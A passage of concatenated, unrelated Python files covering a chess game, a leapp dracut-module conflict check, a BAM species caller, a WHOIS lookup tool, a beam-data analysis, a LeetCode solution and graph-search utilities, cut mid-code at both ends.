            divider += ' Fallen blacks ↑'

        print(divider)

        l = str(i) + ' '
        for j in 'ABCDEFGH':
            content = find_in_field(i, j, field)
            l += '| ' + content + '  '
        l += '|'

        if i >= 7 and fallen.get('black'):
            if black_fallen >= 0:
                t = 0
                while t < 3 and t < black_fallen:
                    l += ' ' + fallen.get('black')[t]
                    black_fallen -= 1
                    t += 1

        if i <= 2 and fallen.get('white'):
            if white_fallen >= 0:
                t = 0
                while t < 3 and t < white_fallen:
                    l += ' ' + fallen.get('white')[t]
                    white_fallen -= 1
                    t += 1

        print(l)

    print('  ' + '-----' * 8 + '-')

    return field

class Game:
    def __init__(self, field, moves):
        self.field = field
        self.moves = moves
        self.fallen = {
            'white': [],
            'black': []
        }
        self.queue = 'white'
        self.turn = 0
        self.turns = []

    def move(self, _from, _to):
        try:
            self.field = self._move_to(_from, _to)
            self.queue = inverse(self.queue)
            self.turn += 1
            self.turns.append([_from, _to])
            render(self.field, self.fallen)
        except Exception as err:
            print(err)
        return self

    def get_color(self, s):
        return 'black' if s in '♜♞♝♛♚♝♞♜♟' else 'white'

    def _move_to(self, _from, _to):
        [from_i, from_j] = _from
        [to_i, to_j] = _to

        print(f"Movig from {from_i}{from_j} to {to_i}{to_j}\n")

        figure = self.find(from_i, from_j)
        if figure == ' ':
            raise Exception('No figure')

        color = self.get_color(figure)
        if  color != self.queue:
            raise Exception(f'It\'s {self.queue}s turn')

        move_fn = self.moves[figure]

        move_result = move_fn(self, from_i, to_i, from_j, to_j)

        if move_result:
            del self.field[from_i][from_j]
            if self.field.get(to_i):
                if self.field[to_i].get(to_j):
                    self.field[to_i][to_j] = figure
                else:
                    self.field[to_i] = self.field.get(to_i, {})
                    self.field[to_i][to_j] = figure
            else:
                self.field[to_i] = {to_j: figure}

            if isinstance(move_result, dict):
                self.fallen[move_result['color']].append(move_result['figure'])
        else:
            raise Exception('This move is not allowed')

        return self.field

    def find(self, i, j):
        return find_in_field(i, j, self.field)

def start(moves):
    field = create_empty_field()
    game = Game(field, moves)
    render(game.field, game.fallen)
    print('Game is started')
    return game


import os
from collections import defaultdict

from leapp import reporting
from leapp.libraries.stdlib import api
from leapp.models import TargetInitramfsTasks, UpgradeInitramfsTasks

DRACUT_MOD_DIR = '/usr/lib/dracut/modules.d/'
SUMMARY_DRACUT_FMT = (
    'The requested dracut modules for the initramfs are in conflict.'
    ' At least one dracut module is specified to be installed from'
    ' multiple paths. The list of conflicting dracut module names'
    ' with paths is listed below: {}'
)

def _printable_modules(conflicts):
    list_separator_fmt = '\n    - '
    for name, paths in conflicts.items():
        paths = sorted([str(i) for i in paths])
        output = ['{}{}: {}'.format(list_separator_fmt, name, paths)]
    return ''.join(output)

def _treat_path(dmodule):
    """
    In case the path is not set, set the expected path of the dracut module.
    """
    if not dmodule.module_path:
        return os.path.join(DRACUT_MOD_DIR, dmodule.name)
    return dmodule.module_path

def _detect_dracut_modules_conflicts(msgtype):
    """
    Return dict of modules with conflicting tasks

    In this case when a dracut module should be applied but different
    sources are specified. E.g.:
       include dracut modules X where,
         msg A)  X
         msg B)  X from custom path
    """
    dracut_modules = defaultdict(set)
    for msg in api.consume(msgtype):
        for dmodule in msg.include_dracut_modules:
            dracut_modules[dmodule.name].add(_treat_path(dmodule))
    return {key: val for key, val in dracut_modules.items() if len(val) > 1}

def process():
    conflicts = _detect_dracut_modules_conflicts(UpgradeInitramfsTasks)
    if conflicts:
        report = [
            reporting.Title('Conflicting requirements of dracut modules for the upgrade initramfs'),
            reporting.Summary(SUMMARY_DRACUT_FMT.format(_printable_modules(conflicts))),
            reporting.Severity(reporting.Severity.HIGH),
            reporting.Groups([reporting.Groups.SANITY]),
            reporting.Groups([reporting.Groups.INHIBITOR]),
        ]
        reporting.create_report(report)

    conflicts = _detect_dracut_modules_conflicts(TargetInitramfsTasks)
    if conflicts:
        report = [
            reporting.Title('Conflicting requirements of dracut modules for the target initramfs'),
            reporting.Summary(SUMMARY_DRACUT_FMT.format(_printable_modules(conflicts))),
            reporting.Severity(reporting.Severity.HIGH),
            reporting.Groups([reporting.Groups.SANITY]),
            reporting.Groups([reporting.Groups.INHIBITOR]),
        ]
        reporting.create_report(report)


import os
import pysam
import typing

'''
Read species calls:
Chimera_like: Both paired ends disagree, no good single-species explanation
Poor_quality: Depending on if call was being made on single or both ends, quality of read(s) for making call was insufficient
Unmapped_reads: No usable alignment data
Ambiguous_reads: Both reads support two or more species without a big enough delta in confidence to be decisive
If a species is given, that was a successful call
Under certain parameter settings, a tuple of multiple species may be given indicating reads that support multiple species
'''

class ReadAlignmentData(object):
    __slots__ = ["qname",
                 "mapq",
                 "secondaryAlignment",
                 "isRead2",
                 "species"]

    def __init__(self, contig:str, mapq:int, qname:str, secondaryAlignment:bool, isRead2:bool):
        self.species = extractSpecies(contig)
        self.mapq = mapq
        self.qname = qname
        self.secondaryAlignment = secondaryAlignment
        self.isRead2 = isRead2

    def __str__(self):
        secondary = ""
        read = "R1"
        if self.isRead2:
            read = "R2"
        if self.secondaryAlignment:
            secondary = ", Secondary"
        return "%s, %s, %s%s, %s " %(self.species, self.mapq, read, secondary, self.qname)

class MispairedReadError(Exception):
    pass

def extractSpecies(referenceName:str):
    if referenceName is None:
        return None
    return "_".join(referenceName.split("_")[:2])

def readParallelProcessor(read:pysam.AlignedRead):
    return ReadAlignmentData(read.reference_name, read.mapping_quality, read.query_name, read.is_secondary, read.is_read2)

def listBamFiles(folder:str):
    folderFiles = os.listdir(folder)
    bamFiles = [os.path.join(folder, file) for file in folderFiles if file.endswith(".bam")]
    return bamFiles

def generateAnalyzedReadList(bamFilePath:str):
    import datetime
    startTime = datetime.datetime.now()
    bamFile = pysam.AlignmentFile(bamFilePath, "rb")
    analyzedReads = []
    readCount = 0
    for read in bamFile:
        analyzedReads.append(ReadAlignmentData(read.reference_name, read.mapping_quality, read.query_name, read.is_secondary, read.is_read2))
        readCount += 1
        if readCount % 500000 == 0:
            analysisTime = datetime.datetime.now() - startTime
            print("Analyzed %s reads in %s" %(readCount, analysisTime), flush=True)
    bamFile.close()
    analysisTime = datetime.datetime.now() - startTime
    print("Analyzed %s reads in %s" % (readCount, analysisTime))
    return analyzedReads

def readSorter(readList:typing.List[ReadAlignmentData]):
    sortedReads = {}
    readList.insert(0, None)
    read = readList.pop()
    while read is not None:
        if not read.qname in sortedReads:
            sortedReads[read.qname] = []
        sortedReads[read.qname].append(read)
        read = readList.pop()
    return sortedReads

def sortedReadsDictToList(readDict:dict):
    readList = []
    qnames = list(readDict.keys())
    qnames.insert(0, None)
    qname = qnames.pop()
    while qname:
        readList.append(readDict[qname])
        del readDict[qname]
        qname = qnames.pop()
    return readList

def getSpeciesCallCounts(readSetList:typing.List[typing.List[ReadAlignmentData]]):
    import collections
    speciesCalls = [callSpeciesFromReadSet(readSet) for readSet in readSetList]
    speciesCounts = collections.Counter(speciesCalls)
    return speciesCounts

def callSpeciesFromReadSet(readList:typing.List[ReadAlignmentData], minimumMapqForSingleReadConfidence:int=40):
    if len(readList) == 1:
       if readList[0].species:
           if readList[0].mapq >= minimumMapqForSingleReadConfidence:
               return readList[0].species
           else:
               return "Poor_quality"
       else:
           return "Unaligned_reads"
    else:
       return multimapDisputeResolution(readList, minimumMapqForSingleReadConfidence)

def getConfidentReads(readList:typing.List[ReadAlignmentData], multimapDisputeResolutionQDelta:int=20):
    if len(readList) == 1:
        if readList[0].species:
            return set([readList[0]])
        else:  #Handles a case where one of the sets came back as unaligned
            return set()
    else:
        mapqs = [read.mapq for read in readList]
        topMapq = max(mapqs)
        confidentReads = [read for read in readList if topMapq - read.mapq <= multimapDisputeResolutionQDelta]
        return set(confidentReads)

def getConfidentSpecies(readList:typing.List[ReadAlignmentData], multimapDisputeResolutionQDelta:int=20):
    if len(readList) == 1:
        if readList[0].species:
            return set([readList[0]])
        else:  #Handles a case where one of the sets came back as unaligned
            return set()
    else:
        mapqs = [read.mapq for read in readList]
        topMapq = max(mapqs)
        confidentSpecies = [read.species for read in readList if topMapq - read.mapq <= multimapDisputeResolutionQDelta]
        return set(confidentSpecies)

def getMaxMapqFromReadList(readList:typing.List[ReadAlignmentData]):
    return max([read.mapq for read in readList])

def multimapDisputeResolution(readList:typing.List[ReadAlignmentData], minimumMapqForSingleReadConfidence:int=40):
    mapqMax = getMaxMapqFromReadList(readList)
    if not mapqMax >= minimumMapqForSingleReadConfidence:
        return "Poor_quality"
    confidentReads = getConfidentReads(readList)
    if len(confidentReads) == 1:
        confidentReads = list(confidentReads)
        return confidentReads[0].species
    else:
        return "Ambiguous_reads"

def bamFileProcessor(bamFile:str):
    print("Starting analysis of %s" %bamFile, flush=True)
    readList = generateAnalyzedReadList(bamFile)
    sortedReads = readSorter(readList)
    del readList
    readSets = sortedReadsDictToList(sortedReads)
    del sortedReads
    speciesCallCounts = getSpeciesCallCounts(readSets)
    return speciesCallCounts


import whois
import random
import string

def random_string_generator(str_size, allowed_chars):
    return ''.join(random.choice(allowed_chars) for x in range(str_size))

class color:
    GREEN = '\033[92m'
    STOP = '\033[0m'
    RED='\033[31m'
    BLUE='\033[94m'
    BOLD = '\033[93m'

def whois_query():
    hostname = input(color.BOLD + "WHOIS Domain or Query: " + color.STOP)
    report = False
    rep = input(color.BOLD + "Generate Report? (Y/n): " + color.STOP)
    if rep == 'y' or rep == 'Y':
        report = True
    if isRegistered(hostname) == False:
        print(color.RED + "[-] Domain is not registered." + color.STOP)
        return None

    domain = whois.whois(hostname)
    print(color.GREEN + "[+] Registrar Name: " + color.STOP, domain.registrar)
    print(color.GREEN + "[+] Organisation: " + color.STOP, domain.org)
    print(color.GREEN + "[+] City: " + color.STOP, domain.city)
    print(color.GREEN + "[+] State: " + color.STOP, domain.state)
    print(color.GREEN + "[+] Country: " + color.STOP, domain.country)
    print(color.GREEN + "[+] ZipCode: " + color.STOP, domain.zipcode)
    print(color.GREEN + "[+] Name Servers: " + color.STOP)
    for i in domain.name_servers:
        print("\t", i)
    print(color.GREEN + "[+] Whois Server: " + color.STOP, domain.whois_server)

    if report and isRegistered(hostname):
        try:
            url = random_string_generator(12, string.ascii_letters)
            with open("Report/whois_info_" + str(url) + ".txt", 'w') as file:
                file.write("Registrar Name: " + str(domain.registrar) + "\n")
                file.write("Organisation: " + str(domain.org) + "\n")
                file.write("City: " + str(domain.city) + "\n")
                file.write("State: " + str(domain.state) + "\n")
                file.write("Country: " + str(domain.country) + "\n")
                file.write("ZipCode: " + str(domain.zipcode) + "\n")
                file.write("Name Servers: ")
                file.write("\n")
                for i in domain.name_servers:
                    file.write(str(i) + "\t")
                file.write("\n")
                file.write("Whois Server: " + str(domain.whois_server))
                file.write("\n")
            print(color.BLUE + "[+]Report generated Successfully at Report/whois_info_" + str(url) + ".txt ." + color.STOP)
        except:
            print(color.RED + "[-]Unable to Generate Report." + color.STOP)
    #print(domain)
    return "PASS"

def isRegistered(domain_name):
    try:
        w = whois.whois(domain_name)
    except:
        return False
    else:
        return bool(w.domain_name)

#whois_query()


from numpy import array, arange
from numpy import sum as npsum

import timeit

# use timeit and repeat to time small code snippets
def getTime(stmt, setup, N = 100):
    s = timeit.repeat(stmt=stmt, setup=setup, number=1, repeat=N, globals=globals())
    # return average, min, max
    return sum(s)/N, min(s), max(s)

idx = [10,100,1000,10000, 100000]
def doLoop(stmt):
    s_time = list()
    for i in idx:
        setup = 'a=array(arange(0,'+str(i) + '))'
        times = getTime(stmt, setup)
        s_time.append(times[0])
    return s_time

# compute sum using default sum function
s = doLoop('sum(a)')
# compute sum using numpy sum function
n = doLoop('npsum(a)')

print(s)
print(n)

from matplotlib.pyplot import *

plot(idx, s, "--", label="sum")
plot(idx, n, "-", label="np.sum")
legend()
show()


"""
Assumes screen resolution of 1366x 768,
using chrome browser without bookmarks tool bar enabled.
At top of screen, press down arrow 4 times to center game view.
"""
import pyscreenshot as ImageGrab
import os
import time

#---------------------------
#Global vars
#---------------------------
x_pad = 200
y_pad = 119

def screenGrab():
    #box = (x_pad+1, y_pad+1, x_pad+641, y_pad+481)
    im = ImageGrab.grab()
    im.save(os.getcwd() + '/full_snap__' + str(int(time.time())) + '.png', 'PNG')

def main():
    screenGrab()

if __name__ == '__main__':
    main()


'''
File to analyse the bunch-by-bunch offset shot-by-shot.

Author: Birk Emil Karlsen-Bæck
'''

# Import --------------------------------------------------------------------------------------------------------------
import numpy as np
import matplotlib.pyplot as plt

import utility_files.data_utilities as dut
import utility_files.analysis_tools as at

# Options -------------------------------------------------------------------------------------------------------------
HOME = True
TURN_BY_TURN = True
PLT_TBT = False
SHOT_BY_SHOT = True
PLT_SBS = True

# Parameters ----------------------------------------------------------------------------------------------------------
n_points = 60
turn_points = 99999
n_turns = 100
sample_rate = 10e9
sample_period = 1 / sample_rate
N_batches = 4

# Functions -----------------------------------------------------------------------------------------------------------
if HOME:
    meas_dir = f'../../data_files/profiles_SPS_OTFB_flattop/'
else:
    meas_dir = f'/Users/bkarlsen/cernbox/SPSOTFB_benchmark_data/data/2021-11-05/profiles_SPS_OTFB_flattop/'

files = []
for i in range(104, 130):
    if i != 112:
        files.append(f'MD_{i}')

profiles_data, profiles_data_corr = dut.import_profiles(meas_dir, files)
time_array = np.linspace(0, (turn_points - 1) * sample_period, turn_points)

sbs_bbb_offset_b1 = np.zeros((len(files), 72))
sbs_bbb_offset_b2 = np.zeros((len(files), 72))
sbs_bbb_offset_b3 = np.zeros((len(files), 72))
sbs_bbb_offset_b4 = np.zeros((len(files), 72))

if TURN_BY_TURN:
    bbb_offsets_1t = np.zeros((n_turns * profiles_data.shape[0], 72))
    bbb_offsets_2t = np.zeros((n_turns * profiles_data.shape[0], 72))
    bbb_offsets_3t = np.zeros((n_turns * profiles_data.shape[0], 72))
    bbb_offsets_4t = np.zeros((n_turns * profiles_data.shape[0], 72))

    for i in range(profiles_data.shape[0]):
        profile_data_corr = profiles_data_corr[i, :]
        profile_data_corr = profile_data_corr.reshape((n_turns, turn_points))

        N_bunches, Bunch_positions, Bunch_peaks, Bunch_lengths, Bunch_intensities, Bunch_positionsFit, Bunch_peaksFit, Bunch_exponent, Goodness_of_fit = \
            dut.getBeamPattern_4(time_array, profile_data_corr.T, distance=200, fit_option='fwhm', plot_fit=False,
                                 baseline_length=35)

        bbb_offsets_1 = np.zeros((n_turns, 72))
        bbb_offsets_2 = np.zeros((n_turns, 72))
        bbb_offsets_3 = np.zeros((n_turns, 72))
        bbb_offsets_4 = np.zeros((n_turns, 72))

        for j in range(n_turns):
            pos_fit = Bunch_positionsFit[j, :].reshape((N_batches, 72))

            bbb_offsets_1[j, :] = at.find_offset(pos_fit[0, :])
            bbb_offsets_2[j, :] = at.find_offset(pos_fit[1, :])
            bbb_offsets_3[j, :] = at.find_offset(pos_fit[2, :])
            bbb_offsets_4[j, :] = at.find_offset(pos_fit[3, :])

        bbb_offsets_1t[i * n_turns: (i + 1) * n_turns, :] = bbb_offsets_1
        bbb_offsets_2t[i * n_turns: (i + 1) * n_turns, :] = bbb_offsets_2
        bbb_offsets_3t[i * n_turns: (i + 1) * n_turns, :] = bbb_offsets_3
        bbb_offsets_4t[i * n_turns: (i + 1) * n_turns, :] = bbb_offsets_4

        PLT_B_43 = True
        if PLT_B_43 and i == 8:
            plt.figure()
            plt.title('Bunch 43, shot 9')
            plt.plot(Bunch_positionsFit[:, 43])

        if PLT_TBT:
            plt.figure()
            plt.title('batch 1')
            plt.plot(bbb_offsets_1.T)

            plt.figure()
            plt.title('batch 2')
            plt.plot(bbb_offsets_2.T)

            plt.figure()
            plt.title('batch 3')
            plt.plot(bbb_offsets_3.T)

            plt.figure()
            plt.title('batch 4')
            plt.plot(bbb_offsets_4.T)

            plt.show()

        if SHOT_BY_SHOT:
            sbs_bbb_offset_b1[i, :] = np.mean(bbb_offsets_1, axis=0)
            sbs_bbb_offset_b2[i, :] = np.mean(bbb_offsets_2, axis=0)
            sbs_bbb_offset_b3[i, :] = np.mean(bbb_offsets_3, axis=0)
            sbs_bbb_offset_b4[i, :] = np.mean(bbb_offsets_4, axis=0)

    print(bbb_offsets_1t.shape)
    print(profiles_data.shape[0])

    print('Turn-by-turn')
    print('Batch 1')
    var_max, var_min, max_ind, min_ind = at.find_turn_by_turn_variantions(bbb_offsets_1t, profiles_data.shape[0],
                                                                          ABS=True, IND_MAX=True)
    print(var_max, var_min, max_ind, min_ind)
    print(np.max(np.concatenate((var_max, np.abs(var_min)))))
    at.plot_bunch_pos(bbb_offsets_1t, 100, 8, 43)

    print('Batch 2')
    var_max, var_min = at.find_turn_by_turn_variantions(bbb_offsets_2t, profiles_data.shape[0], ABS=True)
    print(var_max, var_min)
    print(np.max(np.concatenate((var_max, np.abs(var_min)))))

    print('Batch 3')
    var_max, var_min = at.find_turn_by_turn_variantions(bbb_offsets_3t, profiles_data.shape[0], ABS=True)
    print(var_max, var_min)
    print(np.max(np.concatenate((var_max, np.abs(var_min)))))

    print('Batch 4')
    var_max, var_min = at.find_turn_by_turn_variantions(bbb_offsets_4t, profiles_data.shape[0], ABS=True)
    print(var_max, var_min)
    print(np.max(np.concatenate((var_max, np.abs(var_min)))))

    print('Shot-by-shot')
    print('Batch 1')
    var_max, var_min = at.find_shot_by_shot_variantions(bbb_offsets_1t, ABS=True)
    print(var_max, var_min)
    print(np.max(np.array([var_max, np.abs(var_min)])))

    print('Batch 2')
    var_max, var_min = at.find_shot_by_shot_variantions(bbb_offsets_2t, ABS=True)
    print(var_max, var_min)
    print(np.max(np.array([var_max, np.abs(var_min)])))

    print('Batch 3')
    var_max, var_min = at.find_shot_by_shot_variantions(bbb_offsets_3t, ABS=True)
    print(var_max, var_min)
    print(np.max(np.array([var_max, np.abs(var_min)])))

    print('Batch 4')
    var_max, var_min = at.find_shot_by_shot_variantions(bbb_offsets_4t, ABS=True)
    print(var_max, var_min)
    print(np.max(np.array([var_max, np.abs(var_min)])))

if PLT_SBS and SHOT_BY_SHOT:
    plt.figure()
    plt.title('batch 1')
    plt.plot(sbs_bbb_offset_b1.T)

    plt.figure()
    plt.title('batch 2')
    plt.plot(sbs_bbb_offset_b2.T)

    plt.figure()
    plt.title('batch 3')
    plt.plot(sbs_bbb_offset_b3.T)

    plt.figure()
    plt.title('batch 4')
    plt.plot(sbs_bbb_offset_b4.T)

    plt.show()


from django import template
from django.urls import reverse

register = template.Library()

@register.simple_tag
def add_active(request, name, by_path=False):
    """ Return the string 'active' current request.path is same as name
        Keyword aruguments:
        request -- Django request object
        name -- name of the url or the actual path
        by_path -- True if name contains a url instead of url name"""

    if by_path:
        path = name
    else:
        path = reverse(name)

    if request.path == path:
        return ' active '

    return ''


#
# @lc app=leetcode.cn id=13 lang=python3
#
# [13] 罗马数字转整数
#
# https://leetcode-cn.com/problems/roman-to-integer/description/
#
# algorithms
# Easy (62.10%)
# Total Accepted:    276.9K
# Total Submissions: 445.8K
# Testcase Example:  '"III"'
#
# 罗马数字包含以下七种字符: I， V， X， L，C，D 和 M。
#
# 字符          数值
# I             1
# V             5
# X             10
# L             50
# C             100
# D             500
# M             1000
#
# 例如， 罗马数字 2 写做 II ，即为两个并列的 1。12 写做 XII ，即为 X + II 。 27 写做  XXVII, 即为 XX + V +
# II 。
#
# 通常情况下，罗马数字中小的数字在大的数字的右边。但也存在特例，例如 4 不写做 IIII，而是 IV。数字 1 在数字 5 的左边，所表示的数等于大数 5
# 减小数 1 得到的数值 4 。同样地，数字 9 表示为 IX。这个特殊的规则只适用于以下六种情况：
#
#
# I 可以放在 V (5) 和 X (10) 的左边，来表示 4 和 9。
# X 可以放在 L (50) 和 C (100) 的左边，来表示 40 和 90。
# C 可以放在 D (500) 和 M (1000) 的左边，来表示 400 和 900。
#
#
# 给定一个罗马数字，将其转换成整数。输入确保在 1 到 3999 的范围内。
#
#
#
# 示例 1:
#
# 输入: "III"
# 输出: 3
#
# 示例 2:
#
# 输入: "IV"
# 输出: 4
#
# 示例 3:
#
# 输入: "IX"
# 输出: 9
#
# 示例 4:
#
# 输入: "LVIII"
# 输出: 58
# 解释: L = 50, V= 5, III = 3.
#
#
# 示例 5:
#
# 输入: "MCMXCIV"
# 输出: 1994
# 解释: M = 1000, CM = 900, XC = 90, IV = 4.
#
#
#
# 提示：
#
#
# 题目所给测试用例皆符合罗马数字书写规则，不会出现跨位等情况。
# IC 和 IM 这样的例子并不符合题目要求，49 应该写作 XLIX，999 应该写作 CMXCIX 。
# 关于罗马数字的详尽书写规则，可以参考 罗马数字 - Mathematics 。
#
#
#
class Solution:
    def romanToInt(self, s: str) -> int:
        c = 'IVXLCDM'
        v = [1,5,10,50,100,500,1000]
        d = dict(zip(c,v))
        sp = 0
        ans = 0
        while sp != len(s):
            if sp+1 == len(s):
                ans += d[s[sp]]
                return ans

            if s[sp] == 'I':
                if s[sp+1] in 'VX':
                    ans += d[s[sp+1]] - d[s[sp]]
                    sp += 2
                    continue
            if s[sp] == 'X':
                if s[sp+1] in 'LC':
                    ans += d[s[sp+1]] - d[s[sp]]
                    sp += 2
                    continue
            if s[sp] == 'C':
                if s[sp+1] in 'DM':
                    ans += d[s[sp+1]] - d[s[sp]]
                    sp += 2
                    continue

            ans += d[s[sp]]
            sp += 1
        return ans


from TBXTools import *
extractor=TBXTools()
extractor.create_project("statistical1.sqlite","fra",overwrite=True)
extractor.load_sl_corpus("corpus-fra.txt")
extractor.loadSLTokenizer("MTUOC_tokenizer_fra")
extractor.ngram_calculation(nmin=2,nmax=3)
extractor.load_sl_stopwords("stop-fra.txt")
extractor.load_sl_inner_stopwords("inner-stop-fra.txt")
extractor.statistical_term_extraction()
extractor.case_normalization(verbose=True)
extractor.nest_normalization(verbose=True)
extractor.load_sl_exclusion_regexps("regexps.txt")
extractor.regexp_exclusion(verbose=True)
extractor.save_term_candidates("candidates-stat-fra.txt")
extractor.load_evaluation_terms("corp_fr_terms_nes.ann")

for position in [100,200,500,1000,2000]:
    eval=extractor.evaluate_pos(position)
    print("%5i %7.2f %5i %7.2f %7.2f %7.2f" % (eval[0], eval[1], eval[2], eval[3], eval[4], eval[5]))


from collections import namedtuple
import graph_tool as gt
from graph_tool import topology, load_graph
from . import config

class RoadGraph:
    """
    Represents the road network, wrapping a graphtool directed graph.
    """

    Edge = namedtuple("Edge", ["source", "target", "duration", "distance"])

    def __init__(self):
        """
        Don't call __init__ directly! Use the class method `load` instead.
        """
        self.gtG = gt.Graph(directed=True)

        self.gtG.gp["sid2idx"] = self.gtG.new_gp("object")
        self.gtG.gp["sid2idx"] = {}
        self.gtG.vp["stop_id"] = self.gtG.new_vp("int")
        self.gtG.ep["duration"] = self.gtG.new_ep("float")
        self.gtG.ep["distance"] = self.gtG.new_ep("float")

    def save(self, path):
        self.gtG.save(path)

    @classmethod
    def load(cls, path=config.BUS_ROAD_GRAPH_PATH):
        """ Loads a graphtool graph
        """
        gtG = load_graph(path)

        inst = cls()
        inst.gtG = gtG
        return inst

    def get_vertex(self, stop_id):
        try:
            vidx = self.gtG.gp["sid2idx"][stop_id]
        except KeyError:
            return None
        return self.gtG.vertex(vidx)

    def edge(self, f_sid, t_sid):
        """
        Returns edge from `f_sid` to `to_sid` if it exists, otherwise returns None
        """
        e = self.gtG.edge(self.get_vertex(f_sid), self.get_vertex(t_sid))
        if not e:
            return None

        duration = self.gtG.ep["duration"][e]
        distance = self.gtG.ep["distance"][e]

        return self.Edge(f_sid, t_sid, duration, distance)

    def node_exists(self, stop_id):
        """
        True if node representing stop `stop_id` exists in the graph
        """
        return self.get_vertex(stop_id) is not None

    def add_node(self, stop_id):
        """
        Adds node representing stop `stop_id` to the graph
        """
        assert not self.node_exists(stop_id)

        v = self.gtG.add_vertex()
        self.gtG.vp["stop_id"][v] = stop_id
        self.gtG.gp["sid2idx"][stop_id] = self.gtG.vertex_index[v]

    def add_edge(self, from_sid, to_sid, duration, distance):
        """
        Adds edge from `from_sid` to `to_sid`
        """
        if not self.node_exists(from_sid):
            self.add_node(from_sid)

        if not self.node_exists(to_sid):
            self.add_node(to_sid)

        from_v = self.get_vertex(from_sid)
        to_v = self.get_vertex(to_sid)
        e = self.gtG.add_edge(from_v, to_v)
        self.gtG.ep["duration"][e] = duration
        self.gtG.ep["distance"][e] = distance

    def in_neighbors(self, stop_id):
        """
        In neighbors of `stop_id`
        """
        v = self.get_vertex(stop_id)
        return [self.gtG.vp["stop_id"][nv] for nv in v.in_neighbors()]

    def out_neighbors(self, stop_id):
        """
        Out neighbors of `stop_id`
        """
        v = self.get_vertex(stop_id)
        return [self.gtG.vp["stop_id"][nv] for nv in v.out_neighbors()]

    def shortest_distance(self, from_sid, to_sids: list):
        """
        Computes the shortest distances between stop `from_sid` and stops `to_sids`
        """

        from_v = self.get_vertex(from_sid)
        to_vs = [self.get_vertex(to_sid) for to_sid in to_sids]
        dists, pred_map = topology.shortest_distance(
            self.gtG,
            from_v,
            to_vs,
            weights=self.gtG.ep["duration"],
            pred_map=True,
        )
        return dists, pred_map

    def shortest_path(self, from_sid, to_sid, pred_map=None):
        """
        Computes the shortest path between stop `from_sid` and stop `to_sid`
        """
        from_v = self.get_vertex(from_sid)
        to_v = self.get_vertex(to_sid)

        path_vs, _ = topology.shortest_path(
            self.gtG,
            from_v,
            to_v,
            weights=self.gtG.ep["duration"],
            pred_map=pred_map,
        )

        if not path_vs:
            return []

        return [self.gtG.vp["stop_id"][v] for v in path_vs]

    def nodes(self):
        """
        Nodes in the graph
        """
        return list(self.sid2vertex.keys())


def show_magicians(magicians):
    for magician in magicians:
        print ('Hello'+','+' '+magician.title()+' !')

# 遍历数组，并打印一条消息

def make_great(magicians):
    b=[]
    while magicians:
        a = 'the Great' + ' ' + magicians.pop()
        b.append(a)
    for i in b:
        magicians.append(i)
    return magicians

lovers = ['lily','baby','minova','mq']
lo = make_great(lovers[:])
show_magicians(lovers)
show_magicians(lo)

书上的习题/遍历数组.py


import sys
import os

if __name__ == "__main__":
    input_path = sys.argv[1]
    output_path = sys.argv[2]
    D = dict()
    with open(input_path, "r", encoding='big5-hkscs') as fr:
        for line in fr.readlines():
            chars = line.strip().split()
            chars = list(filter(lambda x : len(x)>0, chars))
            root = chars[0] # Big5
            for poly in chars[1:]: # ZhuYin
                cc = list(filter(lambda x : len(x)>0, poly.split('/')))
                for c in cc:
                    if not c[0] in D:
                        D[c[0]] = set()
                    D[c[0]].add(root)
            D[root] = root
    with open(output_path, "w", encoding='big5-hkscs') as fw:
        for fc, tcs in D.items():
            fw.write(fc)
            for c in tcs:
                fw.write(" " + c)
            fw.write("\n")


from collections import defaultdict
import pprint
from timeit import default_timer as timer

class Graph():

    '''Graph Class -> Can be directed or undirected(default)
                   -> Can be weighted or unweighted(default)
                   -> Can have a heuristic or not(default)'''

    def __init__(self, edgelist, directed=False, weighted=False, heuristic=False):

        '''
        Initialize graph using a list of edges.
        If Unweighted-> edgelist=(Node 1, Node2)
        If Weighted-> edgelist=(Node 1, Node2, Edge Weight)

        :param edgelist: Node to start search from
        :param directed: Set if graph is directed or undirected (default=Flase)
        :param weighted: Set if graph is weighted or unweighted (default=Flase)
        :param heuristic: Set if graph requires a heuristic or not (default=Flase)

        :return: None
        '''

        self.adj = defaultdict(set)
        self.directed = directed
        self.weighted = weighted
        self._initialize(edgelist) # fill out adjacency list
        if heuristic:
            self.heuristic = {}
            self.generate_heuristics() # Generate heuristic f option is set

    def _initialize(self,edgelist):

        if not self.weighted: # unweighted edges
            for source,dest in edgelist:
                self.add(source,dest)
        else:
            for source,dest,weight in edgelist: # weighted edges
                self.add(source,dest,weight)

    def add(self,node1,node2,weight=None):

        '''
        Function used to add edges to the graph.

        :param node1: Node to start search from
        :param node2: Node to search for
        :param weight: Weights of the edge for weighted Graphs (defaut=None)

        :return: None
        '''

        if weight is None:
            self.adj[node1].add(node2)
            if not self.directed: # addedge from a-b to b-a also if graph is undirected
                self.adj[node2].add(node1)
        else:
            self.adj[node1].add((node2,weight)) # add pairs node1 : (node2,weight)
            if not self.directed:
                self.adj[node2].add((node2,weight))

    def generate_heuristics(self):
        # Can be modified to generate heuristic, but we will use a hard coded one  for now
        self.heuristic = {1: 5, 2: 7, 3: 3, 4: 4, 5: 6, 6: 5, 7: 6, 8: 0, 9: 0, 10: 0}

    def bfs(self, start, target):

        '''
        Breath First Search where given a source and target node using breath
        first method we attempt to find the path to target node.

        :param start: Node to start search from
        :param target: Node to search for

        :return: Path to node if found
        '''

        visited=set()
        q=[]
        traversal=[] # remember path taken
        visited.add(start)
        q.append(start)
        while q:
            node=q.pop(0)
            traversal.append(node)
            if node==target: # stop when goal node is reached
                return traversal
            for other in self.adj[node]: # for every neighbour if not visited add to queue and mark visited
                if other not in visited:
                    visited.add(other)
                    q.append(other)
        return "Node not Found"

    def dfs(self, start, target):

        '''
        Deapth First Search where given a source and target node using depth
        first method we attempt to find the path to target node.

        :param start: Node to start search from
        :param target: Node to search for

        :return: Path to node if found
        '''

        result=[]
        visited=set()
        self._helper_dfs(start,visited,result,target)
        if target in result:
            return result
        else:
            return"Node not Found"

    def _helper_dfs(self, node, visited, result, target):
        if result and result[-1]==target: # if goal node is visited then returns
            return
        visited.add(node)
        result.append(node)

        for other in self.adj[node]: # for every neighbour if not visited run dfs on it
            if other not in visited:
                self._helper_dfs(other,visited,result,target)

    def dls(self, start, target, max_depth):

        '''
        Deapth Limited Search where given a maximum depth path will be
        returned only if node is found at or before the maximum depth.

        :param start: Node to start search from
        :param target: Node to search for
        :param max_depth: Maximum depth to limit search space <= maximum depth

        :return: Path to node if found
        '''

        result=[]
        visited=set()
        depth=defaultdict()
        depth[start]=0
        self._helper_dls(start,visited,result,target,depth,max_depth)
        if target in result:
            return result
        else:
            return"Node not Found"

    def _helper_dls(self, node, visited, result, target, depth, max_depth):

